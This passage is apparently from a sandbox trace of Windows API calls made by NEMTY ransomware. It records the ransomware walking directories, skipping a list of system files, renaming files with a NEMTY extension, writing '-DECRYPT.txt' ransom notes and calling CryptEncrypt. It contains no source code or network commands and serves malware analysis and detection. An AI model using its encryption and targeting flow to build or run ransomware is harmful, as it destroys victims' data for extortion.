lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0053.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0053.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0053.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0053.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0053.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0053.661] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png._nemty_kgobjgd_")) returned 0 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.662] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2=".") returned 1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="..") returned 1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="...") returned 1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="windows") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="$RECYCLE.BIN") returned 1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="rsa") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="NTDETECT.COM") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="ntldr") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="MSDOS.SYS") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="IO.SYS") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="boot.ini") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="boot.ini") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="AUTOEXEC.BAT") returned 1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="ntuser.dat") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="desktop.ini") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="CONFIG.SYS") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="RECYCLER") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="BOOTSECT.BAK") returned -1 [0053.662] lstrcmpiW (lpString1="BabyBoy", lpString2="bootmgr") returned -1 [0053.663] lstrcmpiW (lpString1="BabyBoy", lpString2="programdata") returned -1 [0053.663] lstrcmpiW (lpString1="BabyBoy", lpString2="appdata") returned 1 [0053.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoy", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoy", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoy", lpUsedDefaultChar=0x0) returned 7 [0053.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoy", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoy", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoy", lpUsedDefaultChar=0x0) returned 7 [0053.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94268 [0053.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0053.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0053.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f942e0 [0053.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0053.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0053.663] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0053.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.666] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.666] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0053.667] CloseHandle (hObject=0x3cc) returned 1 [0053.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e0 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94358 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0053.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0053.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63400e0 [0053.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.667] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0053.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0053.668] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.668] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0053.669] CloseHandle (hObject=0x3cc) returned 1 [0053.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0053.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94358 [0053.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd3a1beb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd3a1beb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0053.669] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.669] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd3a1beb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd3a1beb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0053.669] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.669] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.669] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0053.669] lstrcmpiW (lpString1="babyblue.png", lpString2=".") returned 1 [0053.669] lstrcmpiW (lpString1="babyblue.png", lpString2="..") returned 1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="...") returned 1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="windows") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="$RECYCLE.BIN") returned 1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="rsa") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="NTDETECT.COM") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="ntldr") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="MSDOS.SYS") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="IO.SYS") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="boot.ini") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="boot.ini") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="AUTOEXEC.BAT") returned 1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="ntuser.dat") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="desktop.ini") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="CONFIG.SYS") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="RECYCLER") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="BOOTSECT.BAK") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="bootmgr") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="programdata") returned -1 [0053.670] lstrcmpiW (lpString1="babyblue.png", lpString2="appdata") returned 1 [0053.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babyblue.png", lpUsedDefaultChar=0x0) returned 12 [0053.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babyblue.png", lpUsedDefaultChar=0x0) returned 12 [0053.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babyblue.png", lpUsedDefaultChar=0x0) returned 12 [0053.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0053.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babyblue.png", lpUsedDefaultChar=0x0) returned 12 [0053.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0053.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0053.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94358 [0053.671] Sleep (dwMilliseconds=0x5) [0053.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3a42010, dwHighDateTime=0x1d561e7)) [0053.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3a42010, dwHighDateTime=0x1d561e7)) [0053.678] GetLastError () returned 0xb7 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.678] GetLastError () returned 0xb7 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0053.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0053.678] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0053.678] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="lzbp7aiwj8Cq9m2wYvlgSBy8J1IPZCbwJCKQHaWwcW1tmrpyhRFjMQ47duIap/2v\r\n5WMm4z88cjIvXsvTemqf9qS7UBBUb/nMaGmtR/ex/74K2J6In9BsUvKYLgM2GapJ\r\nbrIKBO+GBb50AQ6gkrzRUCbVdn+wf4ZcIgi/QXzhrVgaOK0SkLMEEsDfeZYxrQFt\r\nd4L6w0WDOIcJ5iDI0/JvpCSSuamFvk5uHnp88bj2ut3e6J9mc9v+kRwvh7/P0V5K\r\nuB+3cqWS+W284cz3agwAKfk4IFag6U1NPU0poeFNYZd1jHiJvxS+zq5WR0PC/x1D\r\nf5svouxXyy2qiv1zFnwGRg==\r\n", pcchString=0x653e91c) returned 1 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0053.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0053.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0053.678] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.678] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0053.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 